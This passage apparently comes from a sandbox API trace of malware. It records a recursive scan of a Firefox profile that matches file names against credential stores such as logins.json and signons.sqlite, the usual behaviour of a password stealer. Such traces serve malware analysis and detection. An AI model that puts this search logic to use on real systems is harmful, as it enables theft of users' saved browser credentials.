lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="indexedDB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" [0048.164] LocalFree (hMem=0x74fa60) returned 0x0 [0048.165] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned 91 [0048.165] lstrlenA (lpString="\\*.*") returned 4 [0048.165] LocalAlloc (uFlags=0x40, uBytes=0xe0) returned 0x74fc28 [0048.165] lstrcpyA (in: lpString1=0x74fc28, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" [0048.165] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\*.*" [0048.165] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\*.*", lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 0x72dd90 [0048.166] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.166] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 1 [0048.166] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.166] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.166] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 1 [0048.166] lstrcmpiA (lpString1=".", lpString2="moz-safe-about+home") returned -1 [0048.166] lstrcmpiA (lpString1="..", lpString2="moz-safe-about+home") returned -1 [0048.166] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned 91 [0048.166] lstrlenA (lpString="\\") returned 1 [0048.166] LocalAlloc (uFlags=0x40, uBytes=0xdd) returned 0x75c098 [0048.166] lstrcpyA (in: lpString1=0x75c098, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" [0048.166] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\" [0048.166] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\") returned 92 [0048.166] lstrlenA (lpString="moz-safe-about+home") returned 19 [0048.166] LocalAlloc (uFlags=0x40, uBytes=0xf0) returned 0x76e840 [0048.166] lstrcpyA (in: lpString1=0x76e840, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\" [0048.166] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\", lpString2="moz-safe-about+home" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" [0048.166] LocalFree (hMem=0x75c098) returned 0x0 [0048.166] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned 111 [0048.166] lstrlenA (lpString="\\*.*") returned 4 [0048.166] LocalAlloc (uFlags=0x40, uBytes=0xf4) returned 0x75c098 [0048.166] lstrcpyA (in: lpString1=0x75c098, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" [0048.166] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\*.*" [0048.166] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\*.*", lpFindFileData=0xef494 | out: lpFindFileData=0xef494) returned 0x72ddd0 [0048.166] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.166] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef494 | out: lpFindFileData=0xef494) returned 1 [0048.166] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.167] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.167] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef494 | out: lpFindFileData=0xef494) returned 1 [0048.167] StrStrIA (lpFirst=".metadata", lpSrch="signons.sqlite") returned 0x0 [0048.167] lstrlenA (lpString=".metadata") returned 9 [0048.167] StrStrIA (lpFirst=".metadata", lpSrch="logins.json") returned 0x0 [0048.167] StrStrIA (lpFirst=".metadata", lpSrch="signons.txt") returned 0x0 [0048.167] StrStrIA (lpFirst=".metadata", lpSrch="signons2.txt") returned 0x0 [0048.167] StrStrIA (lpFirst=".metadata", lpSrch="signons3.txt") returned 0x0 [0048.167] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef494 | out: lpFindFileData=0xef494) returned 1 [0048.167] lstrcmpiA (lpString1=".", lpString2="idb") returned -1 [0048.167] lstrcmpiA (lpString1="..", lpString2="idb") returned -1 [0048.167] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned 111 [0048.167] lstrlenA (lpString="\\") returned 1 [0048.167] LocalAlloc (uFlags=0x40, uBytes=0xf1) returned 0x75c198 [0048.167] lstrcpyA (in: lpString1=0x75c198, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" [0048.167] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\" [0048.167] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\") returned 112 [0048.167] lstrlenA (lpString="idb") returned 3 [0048.167] LocalAlloc (uFlags=0x40, uBytes=0xf4) returned 0x75c298 [0048.167] lstrcpyA (in: lpString1=0x75c298, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\" [0048.167] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\", lpString2="idb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" [0048.167] LocalFree (hMem=0x75c198) returned 0x0 [0048.167] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned 115 [0048.167] lstrlenA (lpString="\\*.*") returned 4 [0048.167] LocalAlloc (uFlags=0x40, uBytes=0xf8) returned 0x75c198 [0048.167] lstrcpyA (in: lpString1=0x75c198, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" [0048.167] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\*.*" [0048.167] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\*.*", lpFindFileData=0xef32c | out: lpFindFileData=0xef32c) returned 0x72db50 [0048.167] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.167] FindNextFileA (in: hFindFile=0x72db50, lpFindFileData=0xef32c | out: lpFindFileData=0xef32c) returned 1 [0048.167] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.167] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.167] FindNextFileA (in: hFindFile=0x72db50, lpFindFileData=0xef32c | out: lpFindFileData=0xef32c) returned 1 [0048.167] lstrcmpiA (lpString1=".", lpString2="818200132aebmoouht") returned -1 [0048.167] lstrcmpiA (lpString1="..", lpString2="818200132aebmoouht") returned -1 [0048.167] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned 115 [0048.167] lstrlenA (lpString="\\") returned 1 [0048.167] LocalAlloc (uFlags=0x40, uBytes=0xf5) returned 0x75c398 [0048.167] lstrcpyA (in: lpString1=0x75c398, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" [0048.167] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\" [0048.167] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\") returned 116 [0048.167] lstrlenA (lpString="818200132aebmoouht") returned 18 [0048.167] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x75c498 [0048.167] lstrcpyA (in: lpString1=0x75c498, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\" [0048.167] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\", lpString2="818200132aebmoouht" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0048.167] LocalFree (hMem=0x75c398) returned 0x0 [0048.167] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned 134 [0048.167] lstrlenA (lpString="\\*.*") returned 4 [0048.167] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x75c5a8 [0048.168] lstrcpyA (in: lpString1=0x75c5a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0048.168] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*" [0048.168] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*", lpFindFileData=0xef1c4 | out: lpFindFileData=0xef1c4) returned 0x72db90 [0048.168] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.168] FindNextFileA (in: hFindFile=0x72db90, lpFindFileData=0xef1c4 | out: lpFindFileData=0xef1c4) returned 1 [0048.168] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.168] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.168] FindNextFileA (in: hFindFile=0x72db90, lpFindFileData=0xef1c4 | out: lpFindFileData=0xef1c4) returned 0 [0048.168] FindClose (in: hFindFile=0x72db90 | out: hFindFile=0x72db90) returned 1 [0048.168] LocalFree (hMem=0x75c5a8) returned 0x0 [0048.168] LocalFree (hMem=0x75c498) returned 0x0 [0048.168] FindNextFileA (in: hFindFile=0x72db50, lpFindFileData=0xef32c | out: lpFindFileData=0xef32c) returned 1 [0048.168] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.168] lstrlenA (lpString="818200132aebmoouht.sqlite") returned 25 [0048.168] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="logins.json") returned 0x0 [0048.168] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons.txt") returned 0x0 [0048.168] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.168] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.168] FindNextFileA (in: hFindFile=0x72db50, lpFindFileData=0xef32c | out: lpFindFileData=0xef32c) returned 0 [0048.168] FindClose (in: hFindFile=0x72db50 | out: hFindFile=0x72db50) returned 1 [0048.168] LocalFree (hMem=0x75c198) returned 0x0 [0048.168] LocalFree (hMem=0x75c298) returned 0x0 [0048.168] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef494 | out: lpFindFileData=0xef494) returned 0 [0048.168] FindClose (in: hFindFile=0x72ddd0 | out: hFindFile=0x72ddd0) returned 1 [0048.168] LocalFree (hMem=0x75c098) returned 0x0 [0048.168] LocalFree (hMem=0x76e840) returned 0x0 [0048.168] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 0 [0048.168] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0048.168] LocalFree (hMem=0x74fc28) returned 0x0 [0048.168] LocalFree (hMem=0x74fb40) returned 0x0 [0048.168] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.168] StrStrIA (lpFirst="key3.db", lpSrch="signons.sqlite") returned 0x0 [0048.168] lstrlenA (lpString="key3.db") returned 7 [0048.168] StrStrIA (lpFirst="key3.db", lpSrch="logins.json") returned 0x0 [0048.168] StrStrIA (lpFirst="key3.db", lpSrch="signons.txt") returned 0x0 [0048.168] StrStrIA (lpFirst="key3.db", lpSrch="signons2.txt") returned 0x0 [0048.168] StrStrIA (lpFirst="key3.db", lpSrch="signons3.txt") returned 0x0 [0048.168] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.168] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons.sqlite") returned 0x0 [0048.168] lstrlenA (lpString="localstore.rdf") returned 14 [0048.169] StrStrIA (lpFirst="localstore.rdf", lpSrch="logins.json") returned 0x0 [0048.169] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons.txt") returned 0x0 [0048.169] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons2.txt") returned 0x0 [0048.169] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons3.txt") returned 0x0 [0048.169] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.169] StrStrIA (lpFirst="marionette.log", lpSrch="signons.sqlite") returned 0x0 [0048.169] lstrlenA (lpString="marionette.log") returned 14 [0048.169] StrStrIA (lpFirst="marionette.log", lpSrch="logins.json") returned 0x0 [0048.169] StrStrIA (lpFirst="marionette.log", lpSrch="signons.txt") returned 0x0 [0048.169] StrStrIA (lpFirst="marionette.log", lpSrch="signons2.txt") returned 0x0 [0048.169] StrStrIA (lpFirst="marionette.log", lpSrch="signons3.txt") returned 0x0 [0048.169] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.169] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons.sqlite") returned 0x0 [0048.169] lstrlenA (lpString="mimeTypes.rdf") returned 13 [0048.169] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="logins.json") returned 0x0 [0048.169] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons.txt") returned 0x0 [0048.169] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons2.txt") returned 0x0 [0048.169] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons3.txt") returned 0x0 [0048.169] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.169] lstrcmpiA (lpString1=".", lpString2="minidumps") returned -1 [0048.169] lstrcmpiA (lpString1="..", lpString2="minidumps") returned -1 [0048.169] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.169] lstrlenA (lpString="\\") returned 1 [0048.169] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x74fa60 [0048.169] lstrcpyA (in: lpString1=0x74fa60, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.169] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.169] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.169] lstrlenA (lpString="minidumps") returned 9 [0048.169] LocalAlloc (uFlags=0x40, uBytes=0xdc) returned 0x74fb40 [0048.169] lstrcpyA (in: lpString1=0x74fb40, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.169] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="minidumps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps" [0048.169] LocalFree (hMem=0x74fa60) returned 0x0 [0048.169] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps") returned 91 [0048.169] lstrlenA (lpString="\\*.*") returned 4 [0048.169] LocalAlloc (uFlags=0x40, uBytes=0xe0) returned 0x74fc28 [0048.169] lstrcpyA (in: lpString1=0x74fc28, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps" [0048.169] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps\\*.*" [0048.169] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps\\*.*", lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 0x72dd90 [0048.169] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.169] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 1 [0048.169] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.169] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.169] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 0 [0048.169] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0048.169] LocalFree (hMem=0x74fc28) returned 0x0 [0048.169] LocalFree (hMem=0x74fb40) returned 0x0 [0048.169] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.169] StrStrIA (lpFirst="parent.lock", lpSrch="signons.sqlite") returned 0x0 [0048.170] lstrlenA (lpString="parent.lock") returned 11 [0048.170] StrStrIA (lpFirst="parent.lock", lpSrch="logins.json") returned 0x0 [0048.170] StrStrIA (lpFirst="parent.lock", lpSrch="signons.txt") returned 0x0 [0048.170] StrStrIA (lpFirst="parent.lock", lpSrch="signons2.txt") returned 0x0 [0048.170] StrStrIA 